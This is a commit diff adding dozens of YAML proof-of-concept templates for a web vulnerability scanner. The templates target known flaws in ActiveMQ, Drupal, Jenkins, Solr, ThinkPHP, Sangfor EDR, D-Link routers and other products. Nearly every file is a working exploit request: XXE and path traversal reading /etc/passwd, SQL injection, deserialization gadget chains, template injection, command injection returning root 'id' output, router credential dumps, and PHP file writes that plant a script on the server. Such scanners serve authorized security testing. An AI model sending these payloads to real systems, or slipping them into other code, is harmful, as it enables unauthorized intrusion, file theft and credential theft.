commit message

WebScan/pocs/activemq-cve-2016-3088.yml

@@ -0,0 +1,34 @@
+name: poc-yaml-activemq-cve-2016-3088
+set:
+  filename: randomLowercase(6)
+  fileContent: randomLowercase(6)
+rules:
+  - method: PUT
+    path: /fileserver/{{filename}}.txt
+    body: |
+      {{fileContent}}
+    expression: |
+      response.status == 204
+  - method: GET
+    path: /admin/test/index.jsp
+    search: |
+      activemq.home=(?P<home>.*?),
+    follow_redirects: false
+    expression: |
+      response.status == 200
+  - method: MOVE
+    path: /fileserver/{{filename}}.txt
+    headers:
+      Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
+    follow_redirects: false
+    expression: |
+      response.status == 204
+  - method: GET
+    path: /api/{{filename}}.jsp
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(fileContent))
+detail:
+  author: j4ckzh0u(https://github.com/j4ckzh0u)
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088

WebScan/pocs/apache-flink-upload-rce.yml

@@ -0,0 +1,38 @@
+name: poc-yaml-apache-flink-upload-rce
+set:
+    r1: randomLowercase(8)
+    r2: randomLowercase(4)
+rules:
+    - method: GET
+      path: /jars
+      follow_redirects: true
+      expression: >
+        response.status == 200 && response.content_type.contains("json") &&
+        response.body.bcontains(b"address") && response.body.bcontains(b"files")
+    - method: POST
+      path: /jars/upload
+      headers:
+          Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3
+      body: |-
+        --8ce4b16b22b58894aa86c421e8759df3
+        Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar"
+        Content-Type:application/octet-stream
+
+        {{r1}}
+        --8ce4b16b22b58894aa86c421e8759df3--
+
+      follow_redirects: true
+      expression: >
+        response.status == 200 && response.content_type.contains("json") &&
+        response.body.bcontains(b"success") && response.body.bcontains(bytes(r2))
+      search: >-
+        (?P<filen>([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar))
+    - method: DELETE
+      path: '/jars/{{filen}}'
+      follow_redirects: true
+      expression: |
+        response.status == 200
+detail:
+    author: timwhite
+    links:
+        - https://github.com/LandGrey/flink-unauth-rce

WebScan/pocs/apache-ofbiz-cve-2020-9496-xml-deserialization.yml

@@ -0,0 +1,19 @@
+name: poc-yaml-apache-ofbiz-cve-2020-9496-xml-deserialization
+set:
+  rand: randomInt(200000000, 210000000)
+rules:
+  - method: POST
+    path: /webtools/control/xmlrpc
+    headers:
+      Content-Type: application/xml
+    body: >-
+      <?xml
+      version="1.0"?><methodCall><methodName>{{rand}}</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
+    follow_redirects: false
+    expression: >
+      response.status == 200 && response.body.bcontains(bytes("methodResponse")) && response.body.bcontains(bytes("No such service [" + string(rand)))
+detail:
+  author: su(https://suzzz112113.github.io/#blog)
+  links:
+    - https://lists.apache.org/thread.html/r84ccbfc67bfddd35dced494a1f1cba504f49ac60a2a2ae903c5492c3%40%3Cdev.ofbiz.apache.org%3E
+    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/apache_ofbiz_deserialiation.rb

WebScan/pocs/apacheofbiz-cve-2018-8033-xxe.yml

@@ -0,0 +1,15 @@
+name: poc-yaml-apacheofbiz-cve-2018-8033-xxe
+rules:
+  - method: POST
+    path: /webtools/control/xmlrpc
+    headers:
+      Content-Type: application/xml
+    body: >-
+      <?xml version="1.0"?><!DOCTYPE x [<!ENTITY disclose SYSTEM "file://///etc/passwd">]><methodCall><methodName>&disclose;</methodName></methodCall>
+    follow_redirects: false
+    expression: >
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml")
+detail:
+  author: su(https://suzzz112113.github.io/#blog)
+  links:
+    - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py

WebScan/pocs/bt742-pma-unauthorized-access.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-bt742-pma-unauthorized-access
+rules:
+  - method: GET
+    path: /pma/
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b"information_schema") && response.body.bcontains(b"phpMyAdmin") && response.body.bcontains(b"server_sql.php")
+detail:
+  author: Facker007(https://github.com/Facker007)
+  links:
+    - https://mp.weixin.qq.com/s/KgAaFRKarMdycYzETyKS8A

WebScan/pocs/cisco-cve-2020-3452-readfile.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-cisco-cve-2020-3452-readfile
+rules:
+  - method: GET
+    path: /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
+    follow_redirects: false
+    expression: response.status == 200 && response.headers["Content-Type"] == "application/octet-stream" && response.body.bcontains(b"INTERNAL_PASSWORD_ENABLED")
+detail:
+  author: JrD (https://github.com/JrDw0/)
+  links:
+    - https://nvd.nist.gov/vuln/detail/CVE-2020-3452
+    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86

WebScan/pocs/coremail-cnvd-2019-16798.yml

@@ -0,0 +1,12 @@
+name: poc-yaml-coremail-cnvd-2019-16798
+rules:
+  - method: GET
+    path: >-
+      /mailsms/s?func=ADMIN:appState&dumpConfig=/
+    follow_redirects: false
+    expression: >
+      response.status == 200 && response.body.bcontains(bytes("<object name=\"cm_md_db\">"))
+detail:
+  author: cc_ci(https://github.com/cc8ci)
+  links:
+    - https://www.secpulse.com/archives/107611.html

WebScan/pocs/discuz-ml3x-cnvd-2019-22239.yml

@@ -0,0 +1,22 @@
+name: poc-yaml-discuz-ml3x-cnvd-2019-22239
+set:
+  r1: randomInt(800000000, 1000000000)
+rules:
+  - method: GET
+    path: /forum.php
+    follow_redirects: false
+    expression: |
+      response.status == 200
+    search: cookiepre = '(?P<token>[\w_]+)'
+  - method: GET
+    path: /forum.php
+    headers:
+      Cookie: "{{token}}language=sc'.print(md5({{r1}})).'"
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(md5(string(r1))))
+detail:
+  author: X.Yang
+  Discuz_version: Discuz!ML 3.x
+  links:
+    - https://www.cnvd.org.cn/flaw/show/CNVD-2019-22239

WebScan/pocs/dlink-cve-2019-17506.yml

@@ -0,0 +1,14 @@
+name: poc-yaml-dlink-cve-2019-17506
+rules:
+  - method: POST
+    path: /getcfg.php
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: SERVICES=DEVICE.ACCOUNT&AUTHORIZED_GROUP=1%0a
+    follow_redirects: false
+    expression: >
+      response.status == 200 && response.body.bcontains(b"<name>") && response.body.bcontains(b"<password>")
+detail:
+  author: l1nk3r,Huasir(https://github.com/dahua966/)
+  links:
+    - https://xz.aliyun.com/t/6453

WebScan/pocs/dlink-cve-2020-9376-dump-credentials.yml

@@ -0,0 +1,15 @@
+name: poc-yaml-dlink-cve-2020-9376-dump-credentials
+rules:
+  - method: POST
+    path: /getcfg.php
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: >-
+      SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
+    expression: >
+      response.status == 200 && response.body.bcontains(b"<name>Admin</name>") && response.body.bcontains(b"</usrid>") && response.body.bcontains(b"</password>")
+detail:
+  author: x1n9Qi8
+  Affected Version: "Dlink DIR-610"
+  links:
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9376

WebScan/pocs/docker-api-unauthorized-rce.yml

@@ -0,0 +1,12 @@
+name: poc-yaml-docker-api-unauthorized-rce
+rules:
+  - method: GET
+    path: /info
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b"KernelVersion") && response.body.bcontains(b"RegistryConfig") && response.body.bcontains(b"DockerRootDir")
+
+detail:
+  author: j4ckzh0u(https://github.com/j4ckzh0u)
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/docker/unauthorized-rce

WebScan/pocs/docker-registry-api-unauth.yml

@@ -0,0 +1,16 @@
+name: poc-yaml-docker-registry-api-unauth
+rules:
+  - method: GET
+    path: /v2/
+    follow_redirects: false
+    expression: >
+      response.status == 200 && "docker-distribution-api-version" in response.headers && response.headers["docker-distribution-api-version"].contains("registry/2.0")
+  - method: GET
+    path: /v2/_catalog
+    follow_redirects: false
+    expression: >
+      response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"repositories")
+detail:
+  author: p0wd3r
+  links:
+    - http://www.polaris-lab.com/index.php/archives/253/

WebScan/pocs/druid-monitor-unauth.yml

@@ -0,0 +1,10 @@
+name: poc-yaml-druid-monitor-unauth
+rules:
+  - method: GET
+    path: /druid/index.html
+    expression: |
+      response.status == 200 && response.body.bcontains(b"Druid Stat Index") && response.body.bcontains(b"DruidVersion") && response.body.bcontains(b"DruidDrivers")
+detail:
+  author: met7or
+  links:
+    - https://github.com/alibaba/druid

WebScan/pocs/drupal-cve-2019-6340.yml

@@ -0,0 +1,33 @@
+name: poc-yaml-drupal-cve-2019-6340
+set:
+  host: request.url.host
+  r1: randomLowercase(4)
+  r2: randomLowercase(4)
+rules:
+  - method: POST
+    path: /node/?_format=hal_json
+    headers:
+      Content-Type: application/hal+json
+      Accept: '*/*'
+    body: |
+      {
+        "link": [
+          {
+            "value": "link",
+            "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:10:\"{{r1}}%%{{r2}}\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"printf\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+          }
+        ],
+        "_links": {
+          "type": {
+            "href": "http://{{host}}/rest/type/shortcut/default"
+          }
+        }
+      }
+    follow_redirects: true
+    expression: |
+      response.status == 403 && response.body.bcontains(bytes(r1 + "%" + r2))
+detail:
+  author: thatqier
+  links:
+    - https://github.com/jas502n/CVE-2019-6340
+    - https://github.com/knqyf263/CVE-2019-6340

WebScan/pocs/drupal-drupal7geddon2-rce.yml

@@ -0,0 +1,28 @@
+name: poc-yaml-drupal-drupalgeddon2-rce  # nolint[:namematch]
+set:
+  r1: randomLowercase(4)
+  r2: randomLowercase(4)
+rules:
+  - method: POST
+    path: "/?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password
+    search: |
+      name="form_build_id"\s+value="(?P<build_id>.+?)"
+    expression: |
+      response.status == 200
+  - method: POST
+    path: "/?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      form_build_id={{build_id}}
+    expression: |
+      response.body.bcontains(bytes(r1 + "%" + r2))
+detail:
+  drupal_version: 7
+  links:
+    - https://github.com/dreadlocked/Drupalgeddon2
+    - https://paper.seebug.org/567/

WebScan/pocs/drupal-drupal8geddon2-rce.yml

@@ -0,0 +1,20 @@
+name: poc-yaml-drupal-drupalgeddon2-rce  # nolint[:namematch]
+set:
+  r1: randomLowercase(4)
+  r2: randomLowercase(4)
+rules:
+  - method: POST
+    path: "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}
+    expression: |
+      response.body.bcontains(bytes(r1 + "%" + r2))
+detail:
+  drupal_version: 8
+  links:
+    - https://github.com/dreadlocked/Drupalgeddon2
+    - https://paper.seebug.org/567/
+test:
+  target: http://cve-2018-7600-8-x.vulnet:8080/

WebScan/pocs/elasticsearch-unauth.yml

@@ -0,0 +1,16 @@
+name: poc-yaml-elasticsearch-unauth
+rules:
+  - method: GET
+    path: /
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"You Know, for Search")
+  - method: GET
+    path: /_cat
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b"/_cat/master")
+detail:
+  author: p0wd3r
+  links:
+    - https://yq.aliyun.com/articles/616757

WebScan/pocs/f5-tmui-cve-2020-5902-rce.yml

@@ -0,0 +1,16 @@
+name: poc-yaml-f5-tmui-cve-2020-5902-rce
+rules:
+  - method: POST
+    path: >-
+      /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: fileName=%2Fetc%2Ff5-release
+    follow_redirects: true
+    expression: |
+      response.status == 200 && response.body.bcontains(b"BIG-IP release")
+detail:
+  author: Jing Ling
+  links:
+    - https://support.f5.com/csp/article/K52145254
+    - https://github.com/rapid7/metasploit-framework/pull/13807/files

WebScan/pocs/fangweicms-sqli.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-fangweicms-sqli
+set:
+  rand: randomInt(200000000, 210000000)
+rules:
+  - method: GET
+    path: /index.php?m=Goods&a=showcate&id=103%20UNION%20ALL%20SELECT%20CONCAT%28md5({{rand}})%29%23
+    expression: |
+      response.body.bcontains(bytes(md5(string(rand))))
+detail:
+  author: Rexus
+  Affected Version: "4.3"
+  links:
+    - http://www.wujunjie.net/index.php/2015/08/02/%E6%96%B9%E7%BB%B4%E5%9B%A2%E8%B4%AD4-3%E6%9C%80%E6%96%B0%E7%89%88sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/

WebScan/pocs/jboss-cve-2010-1871.yml

@@ -0,0 +1,15 @@
+name: poc-yaml-jboss-cve-2010-1871
+set:
+  r1: randomInt(8000000, 10000000)
+  r2: randomInt(8000000, 10000000)
+rules:
+  - method: GET
+    path: /admin-console/index.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23%7b{{r1}}*{{r2}}%7d
+    follow_redirects: false
+    expression: |
+      response.status == 302 && response.headers["location"].contains(string(r1 * r2))
+detail:
+  author: fuping
+  links:
+    - http://blog.o0o.nu/2010/07/cve-2010-1871-jboss-seam-framework.html
+    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1871

WebScan/pocs/jboss-unauth.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-jboss-unauth
+rules:
+  - method: GET
+    path: /jmx-console/
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b"jboss.management.local") && response.body.bcontains(b"jboss.web")
+detail:
+  author: FiveAourThe(https://github.com/FiveAourThe)
+  links:
+    - https://xz.aliyun.com/t/6103

WebScan/pocs/jenkins-cve-2018-1000861-rce.yml

@@ -0,0 +1,14 @@
+name: poc-yaml-jenkins-cve-2018-1000861-rce
+set:
+  rand: randomLowercase(4)
+rules:
+  - method: GET
+    path: >-
+      /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27test%27,%20root=%27http://aaa%27)%0a@Grab(group=%27package%27,%20module=%27{{rand}}%27,%20version=%271%27)%0aimport%20Payload;
+    follow_redirects: false
+    expression: >-
+      response.status == 200 && response.body.bcontains(bytes("package#" + rand))
+detail:
+  author: p0wd3r
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2018-1000861

WebScan/pocs/jenkins-unauthorized-access.yml

@@ -0,0 +1,21 @@
+name: poc-yaml-jenkins-unauthorized-access
+set:
+  r1: randomInt(1000, 9999)
+  r2: randomInt(1000, 9999)
+rules:
+  - method: GET
+    path: /script
+    follow_redirects: false
+    expression: response.status == 200
+    search: |
+      "Jenkins-Crumb", "(?P<var>.+?)"\);
+  - method: POST
+    path: /script
+    body: |
+      script=printf%28%27{{r1}}%25%25{{r2}}%27%29%3B&Jenkins-Crumb={{var}}&Submit=%E8%BF%90%E8%A1%8C
+    expression: response.status == 200 && response.body.bcontains(bytes(string(r1) + "%" + string(r2)))
+detail:
+  author: MrP01ntSun(https://github.com/MrPointSun)
+  links:
+    - https://www.cnblogs.com/yuzly/p/11255609.html
+    - https://blog.51cto.com/13770310/2156663

WebScan/pocs/phpmyadmin-cve-2018-12613-file-inclusion.yml

@@ -0,0 +1,11 @@
+name: poc-yaml-phpmyadmin-cve-2018-12613-file-inclusion
+rules:
+  - method: GET
+    path: /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
+    follow_redirects: false
+    expression: >-
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+  author: p0wd3r
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

WebScan/pocs/phpstudy-backdoor-rce.yml

@@ -0,0 +1,19 @@
+name: poc-yaml-phpstudy-backdoor-rce
+set:
+  r: randomLowercase(6)
+  payload: base64("printf(md5('" + r + "'));")
+rules:
+  - method: GET
+    path: /index.php
+    headers:
+      Accept-Encoding: 'gzip,deflate'
+      Accept-Charset: '{{payload}}'
+    follow_redirects: false
+    expression: |
+      response.body.bcontains(bytes(md5(r)))
+detail:
+  author: 17bdw
+  Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
+  vuln_url: "php_xmlrpc.dll"
+  links:
+    - https://www.freebuf.com/column/214946.html

WebScan/pocs/sangfor-edr-arbitrary-admin-login.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-sangfor-edr-arbitrary-admin-login
+rules:
+  - method: GET
+    path: /ui/login.php?user=admin
+    follow_redirects: false
+    expression: >
+      response.status == 302 &&
+      response.body.bcontains(b"/download/edr_installer_") &&
+      response.headers["Set-Cookie"] != ""
+detail:
+  author: hilson
+  links:
+    - https://mp.weixin.qq.com/s/6aUrXcnab_EScoc0-6OKfA

WebScan/pocs/sangfor-edr-cssp-rce.yml

@@ -0,0 +1,15 @@
+name: poc-yaml-sangfor-edr-cssp-rce
+rules:
+  - method: POST
+    path: /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: >-
+      {"params":"w=123\"'1234123'\"|id"}
+    expression: >
+      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"uid=0(root)")
+detail:
+  author: x1n9Qi8
+  Affected Version: "Sangfor EDR 3.2.17R1/3.2.21"
+  links:
+    - https://www.cnblogs.com/0day-li/p/13650452.html

WebScan/pocs/sangfor-edr-tool-rce.yml

@@ -0,0 +1,14 @@
+name: poc-yaml-sangfor-edr-tool-rce
+set:
+  r1: randomLowercase(8)
+  r2: randomLowercase(8)
+rules:
+  - method: GET
+    path: "/tool/log/c.php?strip_slashes=printf&host={{r1}}%25%25{{r2}}"
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(r1 + "%" + r2))
+detail:
+  author: cookie
+  links:
+    - https://edr.sangfor.com.cn/

WebScan/pocs/shiro.yml

@@ -0,0 +1,12 @@
+name: poc-yaml-shiro
+rules:
+  - method: GET
+    path: /
+    headers:
+      Cookie: rememberMe=1
+    expression: |
+      "Set-Cookie" in response.headers && response.headers["Set-Cookie"].contains("rememberMe")
+detail:
+  author: test
+  links:
+    - https://baidu.com/shiro

WebScan/pocs/solr-cve-2019-0193.yml

@@ -0,0 +1,30 @@
+name: poc-yaml-solr-cve-2019-0193
+set:
+  r1: randomInt(40000, 44800)
+  r2: randomInt(40000, 44800)
+rules:
+  - method: GET
+    path: /solr/admin/cores?wt=json
+    follow_redirects: false
+    expression: response.status == 200 && response.body.bcontains(b"responseHeader")
+    search: '"name":"(?P<core>.*?)"'
+  - method: POST
+    path: >-
+      /solr/{{core}}/dataimport?command=full-import&debug=true&wt=json&indent=true&verbose=false&clean=false&commit=false&optimize=false&dataConfig=%3CdataConfig%3E%0D%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22DEBUG%22%20%2F%3E%0D%0A%3Cscript%3E%3C!%5BCDATA%5B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20function%20execute(row)%20%20%20%20%7B%0D%0Arow.put(%22id%22,{{r1}}*{{r2}})%3B%0D%0Areturn%20row%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%5D%5D%3E%3C%2Fscript%3E%0D%0A%3Cdocument%3E%0D%0A%20%20%20%20%3Centity%0D%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0D%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0D%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0D%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0D%0A%20%20%20%20%20%20%20%20forEach%3D%22%2Fbooks%2Fbook%22%0D%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Aexecute%22%20%3E%0D%0A%09%09%09%3Cfield%20column%3D%22id%22%20name%3D%22id%22%2F%3E%0D%0A%20%20%20%20%3C%2Fentity%3E%0D%0A%3C%2Fdocument%3E%0D%0A%3C%2FdataConfig%3E
+    headers:
+      Content-Type: text/html
+    body: |-
+      <?xml version="1.0" encoding="utf-8"?>
+      <books>
+       <book>
+       </book>
+      </books>
+    follow_redirects: false
+    expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+  author: fnmsd(https://github.com/fnmsd)
+  solr_version: '<8.1.12'
+  vulnpath: '/solr/{{core}}/dataimport'
+  description: 'Apache Solr DataImportHandler Remote Code Execution Vulnerability(CVE-2019-0193)'
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193

WebScan/pocs/solr-velocity-template-rce.yml

@@ -0,0 +1,38 @@
+name: poc-yaml-solr-velocity-template-rce
+set:
+  r1: randomInt(20000, 40000)
+  r2: randomInt(20000, 40000)
+rules:
+  - method: GET
+    path: "/solr/admin/cores?wt=json"
+    follow_redirects: false
+    expression: response.status == 200 && response.body.bcontains(b"responseHeader")
+    search: |
+      "name":"(?P<core>[^"]+)"
+  - method: POST
+    path: >-
+      /solr/{{core}}/config
+    headers:
+      Content-Type: application/json
+    body: |-
+      {
+        "update-queryresponsewriter": {
+          "startup": "test",
+          "name": "velocity",
+          "class": "solr.VelocityResponseWriter",
+          "template.base.dir": "",
+          "solr.resource.loader.enabled": "true",
+          "params.resource.loader.enabled": "true"
+        }
+      }
+    expression: response.status == 200
+  - method: GET
+    path: "/solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set(%24c%3D{{r1}}%20*%20{{r2}})%24c"
+    follow_redirects: false
+    expression: response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+  author: Loneyer
+  description: 'Apache Solr RCE via Velocity template'
+  links:
+    - https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
+    - https://cert.360.cn/warning/detail?id=fba518d5fc5c4ed4ebedff1dab24caf2

WebScan/pocs/spring-cloud-cve-2020-5405.yml

@@ -0,0 +1,15 @@
+name: poc-yaml-spring-cloud-cve-2020-5405
+rules:
+  - method: GET
+    path: >-
+      /a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/resolv.conf
+    follow_redirects: true
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes("This file is managed by man:systemd-resolved(8). Do not edit."))
+
+detail:
+  version: <= 2.1.6, 2.2.1
+  author: kingkk(https://www.kingkk.com/)
+  links:
+    - https://pivotal.io/security/cve-2020-5405
+    - https://github.com/spring-cloud/spring-cloud-config

WebScan/pocs/spring-cloud-cve-2020-5410.yml

@@ -0,0 +1,12 @@
+name: poc-yaml-spring-cloud-cve-2020-5410
+rules:
+  - method: GET
+    path: >-
+      /..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/a
+    expression: |
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+detail:
+  author: Soveless(https://github.com/Soveless)
+  Affected Version: "Spring Cloud Config 2.2.x < 2.2.3, 2.1.x < 2.1.9"
+  links:
+    - https://xz.aliyun.com/t/7877

WebScan/pocs/spring-cve-2016-4977.yml

@@ -0,0 +1,15 @@
+name: poc-yaml-spring-cve-2016-4977
+set:
+  r1: randomInt(40000, 44800)
+  r2: randomInt(40000, 44800)
+rules:
+  - method: GET
+    path: /oauth/authorize?response_type=${{{r1}}*{{r2}}}&client_id=acme&scope=openid&redirect_uri=http://test
+    follow_redirects: false
+    expression: >
+      response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+  Affected Version: "spring(2.0.0-2.0.9 1.0.0-1.0.5)"
+  author: hanxiansheng26(https://github.com/hanxiansheng26)
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/spring/CVE-2016-4977

WebScan/pocs/springcloud-cve-2019-3799.yml

@@ -0,0 +1,14 @@
+name: poc-yaml-springcloud-cve-2019-3799
+rules:
+  - method: GET
+    path: >-
+      /test/pathtraversal/master/..%252F..%252F..%252F..%252F..%252F..%252Fetc%252fpasswd
+    follow_redirects: true
+    expression: |
+      response.status == 200 && "root:[x*]:0:0:".bmatches(response.body)
+
+detail:
+  version: <2.1.2, 2.0.4, 1.4.6
+  author: Loneyer
+  links:
+    - https://github.com/Loneyers/vuldocker/tree/master/spring/CVE-2019-3799

WebScan/pocs/thinkadmin-v6-readfile.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-thinkadmin-v6-readfile
+rules:
+  - method: GET
+    path: /admin.html?s=admin/api.Update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b2x322s2t3c1a342w34
+    follow_redirects: true
+    expression: |
+      response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes("PD9waH")) && response.body.bcontains(bytes("VGhpbmtBZG1pbg"))
+detail:
+  author: 0x_zmz(github.com/0x-zmz)
+  info: thinkadmin-v6-readfile By 0x_zmz
+  links:
+    - https://mp.weixin.qq.com/s/3t7r7FCirDEAsXcf2QMomw
+    - https://github.com/0x-zmz

WebScan/pocs/thinkcmf-lfi.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-thinkcmf-lfi
+
+rules:
+  - method: GET
+    path: "/?a=display&templateFile=README.md"
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(b"ThinkCMF"))) && response.body.bcontains(bytes(string(b"## README")))
+
+detail:
+  author: JerryKing
+  ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2
+  links:
+    - https://www.freebuf.com/vuls/217586.html

WebScan/pocs/thinkcmf-write-shell.yml

@@ -0,0 +1,18 @@
+name: poc-yaml-thinkcmf-write-shell
+set:
+  r: randomInt(10000, 20000)
+  r1: randomInt(1000000000, 2000000000)
+rules:
+  - method: GET
+    path: "/index.php?a=fetch&content=%3C?php+file_put_contents(%22{{r}}.php%22,%22%3C?php+echo+{{r1}}%3B%22)%3B"
+    expression: "true"
+  - method: GET
+    path: "/{{r}}.php"
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r1)))
+
+detail:
+  author: violin
+  ThinkCMF: x1.6.0/x2.1.0/x2.2.0-2
+  links:
+    - https://www.freebuf.com/vuls/217586.html

WebScan/pocs/thinkphp-v6-file-write.yml

@@ -0,0 +1,26 @@
+name: poc-yaml-thinkphp-v6-file-write
+set:
+  f1: randomInt(800000000, 900000000)
+rules:
+  - method: GET
+    path: /{{f1}}.php
+    follow_redirects: true
+    expression: |
+      response.status == 404
+  - method: GET
+    path: /
+    headers:
+      Cookie: PHPSESSID=../../../../public/{{f1}}.php
+    follow_redirects: true
+    expression: |
+      response.status == 200 && "set-cookie" in response.headers && response.headers["set-cookie"].contains(string(f1))
+  - method: GET
+    path: /{{f1}}.php
+    follow_redirects: true
+    expression: |
+      response.status == 200 && response.content_type.contains("text/html")
+detail:
+  author: Loneyer
+  Affected Version: "Thinkphp 6.0.0"
+  links:
+    - https://github.com/Loneyers/ThinkPHP6_Anyfile_operation_write

WebScan/pocs/thinkphp5-controller-rce.yml

@@ -0,0 +1,10 @@
+name: poc-yaml-thinkphp5-controller-rce
+rules:
+  - method: GET
+    path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=a29hbHIgaXMg%25%25d2F0Y2hpbmcgeW91
+    expression: |
+      response.body.bcontains(b"a29hbHIgaXMg%d2F0Y2hpbmcgeW9129")
+
+detail:
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

WebScan/pocs/thinkphp5023-method-rce.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-thinkphp5023-method-rce
+rules:
+  - method: POST
+    path: /index.php?s=captcha
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: |
+      _method=__construct&filter[]=printf&method=GET&server[REQUEST_METHOD]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu&get[]=1
+    expression: |
+      response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu1")
+detail:
+  links:
